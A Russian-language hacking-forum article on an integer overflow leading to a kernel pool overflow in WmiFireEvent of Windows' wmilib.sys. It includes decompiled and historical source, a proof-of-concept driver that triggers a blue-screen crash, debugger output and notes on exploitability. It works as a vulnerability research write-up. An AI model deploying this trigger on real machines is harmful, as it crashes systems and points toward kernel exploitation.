• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Зиродей в старом компоненте Windows

varwar

El Diff
Забанен
Регистрация
12.11.2020
Сообщения
1 383
Решения
5
Реакции
1 537
Пожалуйста, обратите внимание, что пользователь заблокирован
Содержание
Введение
Уязвимый драйвер
Уязвимая функция
Ошибка старше некоторых форумчан
Пишем полупок
Выводы


Введение

В этой статье я хотел бы коротко описать процесс поиска 24-летней ошибки в драйвере Windows 11 с последующим вызовом отказа в обслуживании. На момент написания статьи я не смог найти юзермодный компонент, который вызывал бы соответствующую функцию в ядре, поэтому вектор данной уязвимости kernel mode -> kernel mode. Также я хотел бы обратить внимание на некоторые недостатки описываемого бага, которые на мой взгляд качественно повлияли бы на стабильность эксплойта при более благоприятных условиях.

Уязвимый драйвер

Баг, который я обнаружил, находится в драйвере wmilib.sys, информации о котором не сказать чтобы много. Согласно MSDN он предоставляет интерфейсы WMI (Windows Management Instrumentation) для других WDM драйверов. Драйвер маленький и имеет несколько экспортных функций, описанных в wmilib.h. Меня же заинтересовала функция WmiFireEvent.

Уязвимая функция

На листинге ниже представлен "причесанный" декомпилированный код функции. Попробуйте найти в нем уязвимость.

C:
NTSTATUS __stdcall WmiFireEvent(
        PDEVICE_OBJECT DeviceObject,
        LPCGUID Guid,
        ULONG InstanceIndex,
        ULONG EventDataSize,
        PVOID EventData)
{
    ULONG BufferSize; // edi
    struct_PoolWithTag *re_EventData; // rax MAPDST
    int status; // edi
    ULONG WMIProviderId; // eax

    BufferSize = NULL;
    if ( EventData )
        BufferSize = EventDataSize;
    re_EventData = (struct_PoolWithTag *)ExAllocatePoolWithTag(NonPagedPoolNx, BufferSize + 0x40, 'LimW');//
                                            
    if ( re_EventData )
    {
        re_EventData->guid18 = *Guid;
        WMIProviderId = IoWMIDeviceObjectToProviderId(DeviceObject);

        re_EventData->FullSize = BufferSize + 0x40;
        re_EventData->WMIProviderId = WMIProviderId;
        re_EventData->Reserved1 = 0x8A;
        re_EventData->Reserved2 = MEMORY[0xFFFFF78000000014];
        re_EventData->InstanceIdx = InstanceIndex;
        re_EventData->EventDataSize = BufferSize;
        re_EventData->Reserved3 = 0x40;
        if ( EventData )
            memmove(&re_EventData[1], EventData, BufferSize);
                                            
        status = IoWMIWriteEvent(re_EventData);
        if ( status >= 0 )
            status = 0;
        else
            ExFreePoolWithTag(re_EventData, 'LimW');
    }
    else
    {
        status = STATUS_INSUFFICIENT_RESOURCES;
    }
    if ( EventData )
        ExFreePool(EventData);
    return status;


Не буду долго томить, "уязвимость" типа integer overflow с последующим переполнением пула ядра. Классический сценарий для ядра Windows, когда в аллокаторе пула ExAllocatePoolWithTag (и его более безопасного собрата, начиная с Windows 11 ExAllocatePool2) мы передаем контролируемый размер + какое-то количество байт, что при достаточно большом числе вызывает выделение небольшого буфера (under allocation) и затем в этот небольшой буфер копируются данные, где параметр Size является большим числом.

Ниже приложен листинг с комментариями. Если коротко, то мы можем перезаписать ~ 4 гигабайта. На мой взгляд это не самое хорошее переполнение, т.к. накладывает ограничения на эксплуатируемую систему, не говоря уже о том, что вектор kernel mode -> kernel mode - это не то, к чему стремится уважающий себя багхантер. Но все же мне было интересно вызвать этот баг в коде.

C:
NTSTATUS __stdcall WmiFireEvent(
        PDEVICE_OBJECT DeviceObject,
        LPCGUID Guid,
        ULONG InstanceIndex,
        ULONG EventDataSize,
        PVOID EventData)
{
    ULONG BufferSize; // edi
    struct_PoolWithTag *re_EventData; // rax MAPDST
    int status; // edi
    ULONG WMIProviderId; // eax

    BufferSize = NULL;
    if ( EventData )
        BufferSize = EventDataSize;
    re_EventData = (struct_PoolWithTag *)ExAllocatePoolWithTag(NonPagedPoolNx, BufferSize + 0x40, 'LimW');//
                                                // BUG! Under allocation occure here if BufferSize at least 0xffffffc0 bytes.
                                                // For example:
                                                //
                                                // Python>c_ulong(0xFFFFFFC0 + 0x40)
                                                // c_ulong(0)
    if ( re_EventData )
    {
        re_EventData->guid18 = *Guid;
        WMIProviderId = IoWMIDeviceObjectToProviderId(DeviceObject);

        re_EventData->FullSize = BufferSize + 0x40;// 0x40 - probably some sizeof(struct) header or smth.
        re_EventData->WMIProviderId = WMIProviderId;
        re_EventData->Reserved1 = 0x8A;
        re_EventData->Reserved2 = MEMORY[0xFFFFF78000000014];// Some timer from KUSER_SHARED_DATA if I remember correctly.
        re_EventData->InstanceIdx = InstanceIndex;
        re_EventData->EventDataSize = BufferSize;
        re_EventData->Reserved3 = 0x40;
        if ( EventData )
            memmove(&re_EventData[1], EventData, BufferSize);// !Overcopy, 0xFFFFFFC0 bytes will copy into buffer[40], actually in the next chunk of memory.
                                                // lea     rcx, [rbx+40h]  ; src = rbx + 0x40, where rbx points to the re_EventData
        status = IoWMIWriteEvent(re_EventData);
        if ( status >= 0 )
            status = 0;
        else
            ExFreePoolWithTag(re_EventData, 'LimW');
    }
    else
    {
        status = STATUS_INSUFFICIENT_RESOURCES;
    }
    if ( EventData )
        ExFreePool(EventData);
    return status;

Ошибка старше некоторых форумчан

Обычно за кодом драйвера я сразу же лезу в исходники Windows XP, Windows Server 2003, т.к. практика подсказывает, что структуры и некоторые функции порой не меняются десятилетиями, но в этот раз почему-то забыл об этом. Уже на этапе написания полупока я полез смотреть есть ли такой драйвер и не сказать чтобы был сильно удивлен. Код функции был идентичен тому, что я видел в декомпиляторе. Обратите внимание на год шапке.

C:
/*++

Copyright (c) 1998  Microsoft Corporation

Module Name:

    wmilib.c

Abstract:

    WMI library utility functions

    CONSIDER adding the following functionality to the library:
        * Dynamic instance names
        * Different instance names for different guids

Author:

    AlanWar

Environment:

    kernel mode only

Notes:


Revision History:

--*/


NTSTATUS
WmiFireEvent(
    IN PDEVICE_OBJECT DeviceObject,
    IN LPGUID Guid,
    IN ULONG InstanceIndex,
    IN ULONG EventDataSize,
    IN PVOID EventData
    )
/*++

Routine Description:

    This routine will fire a WMI event using the data buffer passed. This
    routine may be called at or below DPC level

Arguments:

    DeviceObject - Supplies a pointer to the device object for this event

    Guid is pointer to the GUID that represents the event

    InstanceIndex is the index of the instance of the event

    EventDataSize is the number of bytes of data that is being fired with
       with the event

    EventData is the data that is fired with the events. This may be NULL
        if there is no data associated with the event


Return Value:

    status

--*/
{

    ULONG sizeNeeded;
    PWNODE_SINGLE_INSTANCE event;
    NTSTATUS status;

    if (EventData == NULL)
    {
        EventDataSize = 0;
    }

    sizeNeeded = sizeof(WNODE_SINGLE_INSTANCE) + EventDataSize;

    event = ExAllocatePoolWithTag(NonPagedPool, sizeNeeded, WMILIBPOOLTAG);
    if (event != NULL)
    {
        event->WnodeHeader.Guid = *Guid;
        event->WnodeHeader.ProviderId = IoWMIDeviceObjectToProviderId(DeviceObject);
        event->WnodeHeader.BufferSize = sizeNeeded;
        event->WnodeHeader.Flags =  WNODE_FLAG_SINGLE_INSTANCE |
                                    WNODE_FLAG_EVENT_ITEM |
                                    WNODE_FLAG_STATIC_INSTANCE_NAMES;
        KeQuerySystemTime(&event->WnodeHeader.TimeStamp);

        event->InstanceIndex = InstanceIndex;
        event->SizeDataBlock = EventDataSize;
        event->DataBlockOffset = sizeof(WNODE_SINGLE_INSTANCE);
        if (EventData != NULL)
        {
            RtlCopyMemory( &event->VariableData, EventData, EventDataSize);
            ExFreePool(EventData);
        }

        status = IoWMIWriteEvent(event);
        if (! NT_SUCCESS(status))
        {
            ExFreePool(event);
        }
      
    } else {
        if (EventData != NULL)
        {
            ExFreePool(EventData);
        }
        status = STATUS_INSUFFICIENT_RESOURCES;
    }

    return(status);
}

Часто в твиттерах люди удивляются что какой-то уязвимости 15, 20, 30 лет. На самом деле в этом нет ничего удивительного, много низкоуровнего кода было написано в конце 80ых, 90ых и начале двухтысячных. Это может подтвердить любой, кто сравнивал исходные коды и декомпилированные версии драйверов, ядра. Не все, разумеется, но встречается нередко.

Пишем полупок

Не сильно заморачиваясь с пониманием того как корректно вызвать интересующий кусок кода я приступил к написанию драйвера. Частично куски кода я брал прям из старых исходников ядра.

C:
#include <wdm.h>
#include <wmilib.h>
#include <wmistr.h>

extern "C"
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    UNREFERENCED_PARAMETER(RegistryPath);
    UNREFERENCED_PARAMETER(DriverObject);

    NTSTATUS status = STATUS_SUCCESS;
    PVOID PoolData = nullptr;
    UNICODE_STRING DevName = {0};
    PDEVICE_OBJECT DevObject = nullptr;
    PFILE_OBJECT FileObject = nullptr;

    static const GUID TEST_GUID = { 0x5694188, 0xdd2, 0x423e, { 0xbc, 0x1e, 0xd, 0xd, 0x87, 0x8a, 0x2e, 0x22 } };

    RtlInitUnicodeString(&DevName, L"\\Device\\CNG");

    status = IoGetDeviceObjectPointer(&DevName, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &FileObject, &DevObject);

    if (!NT_SUCCESS(status))
    {
        KdPrint(("IoGetDeviceObjectPointer failed\n"));
        return status;
    }

    PoolData = ExAllocatePool2(POOL_FLAG_PAGED, 0x100, 0x41414141);

    if (!PoolData)
    {

        KdPrint(("ExAllocatePoolWithTag failed\n"));
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    memset(PoolData, 0x41, 0x100);

    __debugbreak();


    /* Bugcheck PAGE_FAULT_IN_NONPAGED_AREA (50)
    00 ffff970b`ef6b4af8 fffff805`159587c2     nt!DbgBreakPointWithStatus
    01 ffff970b`ef6b4b00 fffff805`15957eb3     nt!KiBugCheckDebugBreak+0x12
    02 ffff970b`ef6b4b60 fffff805`158284c7     nt!KeBugCheck2+0xba3
    03 ffff970b`ef6b52d0 fffff805`15881297     nt!KeBugCheckEx+0x107
    04 ffff970b`ef6b5310 fffff805`15653c4c     nt!MiSystemFault+0x230567
    05 ffff970b`ef6b5410 fffff805`15839029     nt!MmAccessFault+0x29c
    06 ffff970b`ef6b5530 fffff805`18241380     nt!KiPageFault+0x369
    07 ffff970b`ef6b56c8 fffff805`182415a6     WMILIB!memcpy+0x1c0
    08 ffff970b`ef6b56d0 fffff805`343910fb     WMILIB!WmiFireEvent+0xb6
    */
    status = WmiFireEvent(DevObject, (LPCGUID)&TEST_GUID, 0, /*Vulnerable argument*/ 0xfffffffC, PoolData);


    if (!NT_SUCCESS(status))
    {
        KdPrint(("WmiFireEvent failed\n"));
        return status;
    }

    ExFreePool(PoolData);
    PoolData = nullptr;

    return STATUS_SUCCESS;
}

Предположительно функция WmiFireEvent должна упасть при вызове memmove, что мы и можем наблюдать в отладчике.

WmiFireEvent1.png


Перед вызовом memmove в rcx находится указатель на маленький буфер, в rdx данные, которыми мы его переполняем, а в r8 сответственно размер.
Продолжаем исполнение и вываливаемся в исключение.

WmiFireEvent2.png


Стек вызовов выглядит следующим образом.

WmiFireEvent3.png


Ну и куда без синего экрана.

WmiFireEvent2_dos.png



Выводы

Несмотря на то, что "уязвимость" тяжело назвать эксплуатабельной с точки зрения интересной полезной нагрузки, например LPE, такой тип ошибок достаточно распространен в ring0. К сожалению, не каждое переполнение является качественным. Идеальным сценарием была бы ситуация, когда мы можем контролировать размер целиком либо частично. Например, переполнение небольших по размеру целых чисел как unsigned short. В таком случае будет осуществляться перезапись ~ 64 Кб, для которых проще контролировать необходимое состояние пула и следовательно повысить надежность эксплойта. Пример такой уязвимости CVE-2020-17087, которая использовалась в т.н. дикой природе. По крайней мере я не встречал эксплойты, которые бы использовали "heap feng shui" в ядре по отношению к 4 Гб памяти. Если вы видели что-то подобное, то отпишите в комментариях или в личку. Другим условием идеального эксплойта безусловно будет входящий буфер, который мы можем контролировать, однако существуют примеры и с частичным контролем этого значения. В конечном итоге для идеального ядерного эксплойта желательно иметь возможность вызывать функцию из user mode и love integrity level.

P.S Надеюсь вы подчерпнули для себя что-то новое.

P.P.S. Темная тема для WinDbg кастомная.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
wmifireevent.png


Баг в экспортной функции драйвера wmilib.sys WmiFireEvent все еще существует в последей версии Windows. Нарисовал схему-сценарий при котором может произойти ее триггер. Вопрос лишь в том, есть ли такой драйвер в системе =)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх